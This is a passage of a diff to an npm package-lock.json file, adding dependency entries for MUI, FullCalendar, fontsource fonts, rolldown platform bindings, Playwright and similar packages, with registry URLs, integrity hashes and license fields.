+ "@noble/hashes": "^1.8.0 || ^2.0.0" + }, + "peerDependenciesMeta": { + "@noble/hashes": { + "optional": true + } + } + }, + "node_modules/@fontsource/dm-sans": { + "version": "5.2.8", + "resolved": "https://registry.npmjs.org/@fontsource/dm-sans/-/dm-sans-5.2.8.tgz", + "integrity": "sha512-tlovG42m9ESG28WiHpLq3F5umAlm64rv0RkqTbYowRn70e9OlRr5a3yTJhrhrY+k5lftR/OFJjPzOLQzk8EfCA==", + "license": "OFL-1.1", + "funding": { + "url": "https://github.com/sponsors/ayuhito" + } + }, + "node_modules/@fontsource/jetbrains-mono": { + "version": "5.2.8", + "resolved": "https://registry.npmjs.org/@fontsource/jetbrains-mono/-/jetbrains-mono-5.2.8.tgz", + "integrity": "sha512-6w8/SG4kqvIMu7xd7wt6x3idn1Qux3p9N62s6G3rfldOUYHpWcc2FKrqf+Vo44jRvqWj2oAtTHrZXEP23oSKwQ==", + "license": "OFL-1.1", + "funding": { + "url": "https://github.com/sponsors/ayuhito" + } + }, + "node_modules/@fontsource/montserrat": { + "version": "5.2.8", + "resolved": "https://registry.npmjs.org/@fontsource/montserrat/-/montserrat-5.2.8.tgz", + "integrity": "sha512-xTjLxSbSfCycDB0pwmNsfNvdfWPaDaRQ2LC6yt/ZI7SdvXG52zHnzNYC/09mzuAuWNJyShkteutfCoDgym56hQ==", + "license": "OFL-1.1", + "funding": { + "url": "https://github.com/sponsors/ayuhito" + } + }, + "node_modules/@fullcalendar/core": { + "version": "6.1.21", + "resolved": "https://registry.npmjs.org/@fullcalendar/core/-/core-6.1.21.tgz", + "integrity": "sha512-t3u/+sqh3Iq7TWtUnVLcGDUE6OWZh0UD3c04bI/l7lSLAgAKr3kngBmhHiQD1QXpwC8ZN5iNqG7a7gOVixhSKQ==", + "license": "MIT", + "peer": true, + "dependencies": { + "preact": "~10.12.1" + } + }, + "node_modules/@fullcalendar/daygrid": { + "version": "6.1.21", + "resolved": "https://registry.npmjs.org/@fullcalendar/daygrid/-/daygrid-6.1.21.tgz", + "integrity": "sha512-QYb1y40RGYLlOxKpYWg8O+7njEnKnFG8Tt7qjnubJGR35s1phQg67E+81y2TyAbbm59p2JFOCXGDk9t6KDujIA==", + "license": "MIT", + "peerDependencies": { + "@fullcalendar/core": "~6.1.21" + } + }, + "node_modules/@fullcalendar/interaction": { + "version": "6.1.21", + "resolved": "https://registry.npmjs.org/@fullcalendar/interaction/-/interaction-6.1.21.tgz", + "integrity": "sha512-WPYpqtljDWmU0Xm2cOtFrLlocgxv7cgkOppj34Q6OUUat8a6Cnd6kYo2JR+irP223PE5lBYHFNp1qh7SIpJc0w==", + "license": "MIT", + "peerDependencies": { + "@fullcalendar/core": "~6.1.21" + } + }, + "node_modules/@fullcalendar/react": { + "version": "6.1.21", + "resolved": "https://registry.npmjs.org/@fullcalendar/react/-/react-6.1.21.tgz", + "integrity": "sha512-TLpmGUd5k/PMdCh8XbeFC9PW9wuGvMms1oCxWgXyjK3EFPXAAd0PLfcvwKdyxoAS5eK1E4RJFkjMHvsYHpimcg==", + "license": "MIT", + "peerDependencies": { + "@fullcalendar/core": "~6.1.21", + "react": "^16.7.0 || ^17 || ^18 || ^19", + "react-dom": "^16.7.0 || ^17 || ^18 || ^19" + } + }, + "node_modules/@fullcalendar/timegrid": { + "version": "6.1.21", + "resolved": "https://registry.npmjs.org/@fullcalendar/timegrid/-/timegrid-6.1.21.tgz", + "integrity": "sha512-2DnShx/jallGmb8QCkr6pAOu/zuPhJrP7+uTrAtSnbqsX7GF3lTxqSeNGkTQwsgF5g/ia8udhQ+JNYaE+TN1cQ==", + "license": "MIT", + "dependencies": { + "@fullcalendar/daygrid": "~6.1.21" + }, + "peerDependencies": { + "@fullcalendar/core": "~6.1.21" + } + }, + "node_modules/@generouted/react-router": { + "version": "1.20.2", + "resolved": "https://registry.npmjs.org/@generouted/react-router/-/react-router-1.20.2.tgz", + "integrity": "sha512-bvcQ23n4lba130bGNL0rLwRvggvh6pNdgAYIY2EiGSQxrgQLhocAaRZMrD6RvM+4vb8nmAoEMPyF00RzEMQSPA==", + "license": "MIT", + "dependencies": { + "fast-glob": "^3.3.3", + "generouted": "^1.20.2" + }, + "peerDependencies": { + "react": ">=18", + "react-router": ">=7", + "vite": ">=5" + } + }, + "node_modules/@hookform/resolvers": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/@hookform/resolvers/-/resolvers-5.4.0.tgz", + "integrity": "sha512-EIsqr/t/qbinPIhGjMdtvutIN1Kk4uwbROE9/UQ93CAVGR7GkA7Y92+fX80OzXi/OB67jVFYwKGO1WzkxmkFZw==", + "license": "MIT", + "dependencies": { + "@standard-schema/utils": "^0.3.0" + }, + "peerDependencies": { + "react-hook-form": "^7.55.0" + } + }, + "node_modules/@humanfs/core": { + "version": "0.19.2", + "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.2.tgz", + "integrity": "sha512-UhXNm+CFMWcbChXywFwkmhqjs3PRCmcSa/hfBgLIb7oQ5HNb1wS0icWsGtSAUNgefHeI+eBrA8I1fxmbHsGdvA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@humanfs/types": "^0.15.0" + }, + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanfs/node": { + "version": "0.16.8", + "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.8.tgz", + "integrity": "sha512-gE1eQNZ3R++kTzFUpdGlpmy8kDZD/MLyHqDwqjkVQI0JMdI1D51sy1H958PNXYkM2rAac7e5/CnIKZrHtPh3BQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@humanfs/core": "^0.19.2", + "@humanfs/types": "^0.15.0", + "@humanwhocodes/retry": "^0.4.0" + }, + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanfs/types": { + "version": "0.15.0", + "resolved": "https://registry.npmjs.org/@humanfs/types/-/types-0.15.0.tgz", + "integrity": "sha512-ZZ1w0aoQkwuUuC7Yf+7sdeaNfqQiiLcSRbfI08oAxqLtpXQr9AIVX7Ay7HLDuiLYAaFPu8oBYNq/QIi9URHJ3Q==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanwhocodes/module-importer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", + "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12.22" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@humanwhocodes/retry": { + "version": "0.4.3", + "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz", + "integrity": "sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.13", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", + "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.0", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/remapping": { + "version": "2.3.5", + "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", + "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "license": "MIT" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.31", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", + "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", + "license": "MIT", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@mui/core-downloads-tracker": { + "version": "9.2.0", + "resolved": "https://registry.npmjs.org/@mui/core-downloads-tracker/-/core-downloads-tracker-9.2.0.tgz", + "integrity": "sha512-+XMav+ZaXkZKUFUgzjrfMEedfyJKxxviAske2q8N8CWDMeqZdDU2lWMkiUPiB388hGaDqhwvOAwkrsc/pUyp8g==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/mui-org" + } + }, + "node_modules/@mui/icons-material": { + "version": "9.2.0", + "resolved": "https://registry.npmjs.org/@mui/icons-material/-/icons-material-9.2.0.tgz", + "integrity": "sha512-VgBd3z7Qc3vd/thcNSMC03nHRh/U4DzMUd+1dRyJTbm/hGo7+N6N4GDuJZDNHa6LZhhwG6Cu1X3DNvrVv8sNag==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.29.2" + }, + "engines": { + "node": ">=14.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/mui-org" + }, + "peerDependencies": { + "@mui/material": "^9.2.0", + "@types/react": "^17.0.0 || ^18.0.0 || ^19.0.0", + "react": "^17.0.0 || ^18.0.0 || ^19.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@mui/material": { + "version": "9.2.0", + "resolved": "https://registry.npmjs.org/@mui/material/-/material-9.2.0.tgz", + "integrity": "sha512-+YTRSgGKGrrRo2XJZXs7JRA6qHoHWvNtxyqxnrRJTBmIuLOUpxxh7m4G9lF4tWberxGFY+EqkkRPgJCl+fSMJg==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.29.2", + "@mui/core-downloads-tracker": "^9.2.0", + "@mui/system": "^9.2.0", + "@mui/types": "^9.1.1", + "@mui/utils": "^9.2.0", + "@popperjs/core": "^2.11.8", + "@types/react-transition-group": "^4.4.12", + "clsx": "^2.1.1", + "csstype": "^3.2.3", + "prop-types": "^15.8.1", + "react-is": "^19.2.6", + "react-transition-group": "^4.4.5" + }, + "engines": { + "node": ">=14.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/mui-org" + }, + "peerDependencies": { + "@emotion/react": "^11.5.0", + "@emotion/styled": "^11.3.0", + "@mui/material-pigment-css": "^9.2.0", + "@types/react": "^17.0.0 || ^18.0.0 || ^19.0.0", + "react": "^17.0.0 || ^18.0.0 || ^19.0.0", + "react-dom": "^17.0.0 || ^18.0.0 || ^19.0.0" + }, + "peerDependenciesMeta": { + "@emotion/react": { + "optional": true + }, + "@emotion/styled": { + "optional": true + }, + "@mui/material-pigment-css": { + "optional": true + }, + "@types/react": { + "optional": true + } + } + }, + "node_modules/@mui/private-theming": { + "version": "9.2.0", + "resolved": "https://registry.npmjs.org/@mui/private-theming/-/private-theming-9.2.0.tgz", + "integrity": "sha512-w9wpyDxGPGnAACPB2hKhCDmILJIAvQxrfjUbIAEa0AznX1rOjaz5N+yB1uuw8ixnJcpEh/tPbD9oEe19wcWPHw==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.29.2", + "@mui/utils": "^9.2.0", + "prop-types": "^15.8.1" + }, + "engines": { + "node": ">=14.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/mui-org" + }, + "peerDependencies": { + "@types/react": "^17.0.0 || ^18.0.0 || ^19.0.0", + "react": "^17.0.0 || ^18.0.0 || ^19.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@mui/styled-engine": { + "version": "9.1.1", + "resolved": "https://registry.npmjs.org/@mui/styled-engine/-/styled-engine-9.1.1.tgz", + "integrity": "sha512-neaYKdJfvEG54q8efHLJR7swpHG/gfSv9xGqW5iTSMsubD7yPCPFrhVBt284j1DOF3uZaaDJSHQL7gz6jGF21Q==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.29.2", + "@emotion/cache": "^11.14.0", + "@emotion/serialize": "^1.3.3", + "@emotion/sheet": "^1.4.0", + "csstype": "^3.2.3", + "prop-types": "^15.8.1" + }, + "engines": { + "node": ">=14.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/mui-org" + }, + "peerDependencies": { + "@emotion/react": "^11.4.1", + "@emotion/styled": "^11.3.0", + "react": "^17.0.0 || ^18.0.0 || ^19.0.0" + }, + "peerDependenciesMeta": { + "@emotion/react": { + "optional": true + }, + "@emotion/styled": { + "optional": true + } + } + }, + "node_modules/@mui/system": { + "version": "9.2.0", + "resolved": "https://registry.npmjs.org/@mui/system/-/system-9.2.0.tgz", + "integrity": "sha512-YvUJwKoGVtbnOm2PyPi5TvX2d1rOA6sqSpEWVs4WmXNIaFTuYmNUaVdU2o1NKUEe31URnD3E8ZVUMcsLQXwcYg==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.29.2", + "@mui/private-theming": "^9.2.0", + "@mui/styled-engine": "^9.1.1", + "@mui/types": "^9.1.1", + "@mui/utils": "^9.2.0", + "clsx": "^2.1.1", + "csstype": "^3.2.3", + "prop-types": "^15.8.1" + }, + "engines": { + "node": ">=14.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/mui-org" + }, + "peerDependencies": { + "@emotion/react": "^11.5.0", + "@emotion/styled": "^11.3.0", + "@types/react": "^17.0.0 || ^18.0.0 || ^19.0.0", + "react": "^17.0.0 || ^18.0.0 || ^19.0.0" + }, + "peerDependenciesMeta": { + "@emotion/react": { + "optional": true + }, + "@emotion/styled": { + "optional": true + }, + "@types/react": { + "optional": true + } + } + }, + "node_modules/@mui/types": { + "version": "9.1.1", + "resolved": "https://registry.npmjs.org/@mui/types/-/types-9.1.1.tgz", + "integrity": "sha512-Zjt7u8wNvDg40rPTGoL+TnfkpuSKjwubsNSFRH1KAVZLcaV4I3AFNHIFbvH7p4F3alEibSbdd90xAgn5Rnfndg==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.29.2" + }, + "peerDependencies": { + "@types/react": "^17.0.0 || ^18.0.0 || ^19.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@mui/utils": { + "version": "9.2.0", + "resolved": "https://registry.npmjs.org/@mui/utils/-/utils-9.2.0.tgz", + "integrity": "sha512-OsUH5zhlSOM4xmLl53+agug1M1UyWb4zxFxWQCqwKTKUeQPvTENtg3JhrroBD2qpCLKsX5W/DYGERJ4mBUbc8g==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.29.2", + "@mui/types": "^9.1.1", + "@types/prop-types": "^15.7.15", + "clsx": "^2.1.1", + "prop-types": "^15.8.1", + "react-is": "^19.2.6" + }, + "engines": { + "node": ">=14.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/mui-org" + }, + "peerDependencies": { + "@types/react": "^17.0.0 || ^18.0.0 || ^19.0.0", + "react": "^17.0.0 || ^18.0.0 || ^19.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@napi-rs/wasm-runtime": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.1.6.tgz", + "integrity": "sha512-ZLv/JdUfkvOy9eCnnBaGfiO+XimbjebAeO+MRQqD/B+FR1tnRN0tpKSJHRbE8sFfS6aqsXZ67TQjfwfsxULVbg==", + "license": "MIT", + "optional": true, + "dependencies": { + "@tybys/wasm-util": "^0.10.3" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + }, + "peerDependencies": { + "@emnapi/core": "^1.7.1", + "@emnapi/runtime": "^1.7.1" + } + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "license": "MIT", + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@oxc-project/types": { + "version": "0.139.0", + "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.139.0.tgz", + "integrity": "sha512-r9gHphtCs+1M7J0pw6Sn/hh/Wpa/iQrOOkrNAlVLF/gHq+/CJmHIWKKUUhdWjcD6CIa8idarspCsASiXCXvFUw==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/Boshen" + } + }, + "node_modules/@playwright/test": { + "version": "1.61.1", + "resolved": "https://registry.npmjs.org/@playwright/test/-/test-1.61.1.tgz", + "integrity": "sha512-8nKv6+0RJSL9FE4jYOEGXnPeM/Hg12qZpmqzZjRh3qM0Y7c3z1mrOTfFLids72RDQYVh9WpLEfR5WdpNX4fkig==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "playwright": "1.61.1" + }, + "bin": { + "playwright": "cli.js" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/@popperjs/core": { + "version": "2.11.8", + "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.11.8.tgz", + "integrity": "sha512-P1st0aksCrn9sGZhp8GMYwBnQsbvAWsZAX44oXNNvLHGqAOcoVxmjZiohstwQ7SqKnbR47akdNi+uleWD8+g6A==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/popperjs" + } + }, + "node_modules/@rolldown/binding-android-arm64": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.1.5.tgz", + "integrity": "sha512-lZg8fqIv2v7FF237bwMgzGZEJvGL79/s5knJ/i6FmsGF4XXlzccZ4jb+TrFIxtSSxFtIpdsgrPZeMk1I9AFcyQ==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-darwin-arm64": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.1.5.tgz", + "integrity": "sha512-51Bnx9pNiMRKSUNtBfySkNJ9vMU9Hh3I1ozDd6gyPPYzaXCfnptUcEZxXGYFn+ul2dtcMUiqGR1Yai2K10uoTw==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-darwin-x64": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.1.5.tgz", + "integrity": "sha512-Tm+gbfC0aHu1tBA/JvKQh32S0K6YgCHkiAF4/W6xX0K0RmNuc94VeK419dJoE65R5aRxmo+noZQSWrAMF6yb6g==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-freebsd-x64": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.1.5.tgz", + "integrity": "sha512-JMzDKCCXq93YccG5gz3hvOs1oXRKAf0XYpfOS88e+wZrC8Iugj6j68867vrYZkvpDDpKn/KoKORThmchMpF6TA==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-arm-gnueabihf": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.1.5.tgz", + "integrity": "sha512-uML21j2K5TfPGutKxub+M+nLjZIrWjXQ5Grx4lCe/nimTj9B4L63zHpjXLl4y0L3mcm2htEQIb06oCG/szerNw==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-arm64-gnu": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.1.5.tgz", + "integrity": "sha512-navSiuTMogvnQoZoM/v+l3ZWo50/NTwSHSzheABx/RCnmUPaKwq9qSo4Br2OYRs21+Fz8uFqITZM3H4opOB0/Q==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-arm64-musl": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.1.5.tgz", + "integrity": "sha512-lAryqH7IteztmCXQXk0etKj4wBQ7Gx5S6LjKhsgp9zb8I5bsuvU/2llH1hDQcjsFeqIsovMVN339/8pUDDBXxA==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-ppc64-gnu": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.1.5.tgz", + "integrity": "sha512-fsK/sNBnxzBlL4O1JNrZakVQxPspqpED5dLtNsZS9oOKmtSpdNIzxH2kkol5HYTWJN47sE20ztMJPxfZ89qGOg==", + "cpu": [ + "ppc64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-s390x-gnu": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.1.5.tgz", + "integrity": "sha512-gLYb4BIadlfTOYT5gO503n8zQjXflgzpD0FcyKh0Mzx3rqCZKnHoJWV9xe1KXUJ5lx2JfcSHr/mhzS0PC/McAA==", + "cpu": [ + "s390x" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-x64-gnu": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.1.5.tgz", + "integrity": "sha512-FjcpEKUyJygHgs1o50VYNvkt5+7Le/VEdYt0AkRpkL33MnyQfwr8l5mXwMmfmTbyMPr5vJLC+8/Gd9gXnwU1QQ==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-x64-musl": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.1.5.tgz", + "integrity": "sha512-Me+PfPI2TMeOQk0gYWfLQZtTktrmzbr8cDboqX83XKc7UrgAi55gF+2dUkWdxd19n55Essp2yeca+O9N5rBxHg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-openharmony-arm64": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.1.5.tgz", + "integrity": "sha512-yc5WrLzXks6zCQfn9Oxr8pORKyl/pF+QjHmW/Qx3qu0oyrrNC+y2JLTU1E2rcWYAmzlnqngWXHQjy51VzW70Vw==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-wasm32-wasi": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.1.5.tgz", + "integrity": "sha512-VbQGPX2b4r48TAMIM2cjgluIM1HYutm4pcTEJsle7iEP7sB1dFqtPLBVbdLAZCxy1txCcPxf4QFf4v8uvltPqA==", + "cpu": [ + "wasm32" + ], + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/core": "1.11.1", + "@emnapi/runtime": "1.11.1", + "@napi-rs/wasm-runtime": "^1.1.6" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-wasm32-wasi/node_modules/@emnapi/core": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.11.1.tgz", + "integrity": "sha512-RSvbQmHzdKzNsLYa/wHrbc3KN4sYLKAdPZxqiM2HATqv/SBk2/ENSHpvXGaLOMcsAyz0poEGqkmmKYG3OWiJEQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/wasi-threads": "1.2.2", + "tslib": "^2.4.0" + } + }, + "node_modules/@rolldown/binding-wasm32-wasi/node_modules/@emnapi/runtime": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.11.1.tgz", + "integrity": "sha512-vgj7R3y3Wgx24IQaGPA/R6YFXLHVMOZ0uVEyIQPaWs+rd1AzfEMXlAC22FYwO1XkKR6NPsq7mUandH8oIRdZFw==", + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@rolldown/binding-win32-arm64-msvc": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.1.5.tgz", + "integrity": "sha512-gHv82k63z4qpV5+Q1y/12KrK0ltWBukVDI8nZcbT7Tt/ZlOIVwppazneq0F93oDxTo3IgAMEDIoQh3E2n6mVsw==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-win32-x64-msvc": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.1.5.tgz", + "integrity": "sha512-tTZuDBPw85tEN5PQi1pnEBzDy0Z49HtScLAbD5t6hyeU92A95pRWaSMw1GZZi/RwgSgUIl0xrSlXIT/9QzvYSA==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/pluginutils": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.1.tgz", + "integrity": "sha512-2j9bGt5Jh8hj+vPtgzPtl72j0yRxHAyumoo6TNfAjsLB04UtpSvPbPcDcBMxz7n+9CYB0c1GxQFxYRg2jimqGw==", + "license": "MIT" + }, + "node_modules/@simple-libs/child-process-utils": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@simple-libs/child-process-utils/-/child-process-utils-2.0.0.tgz", + "integrity": 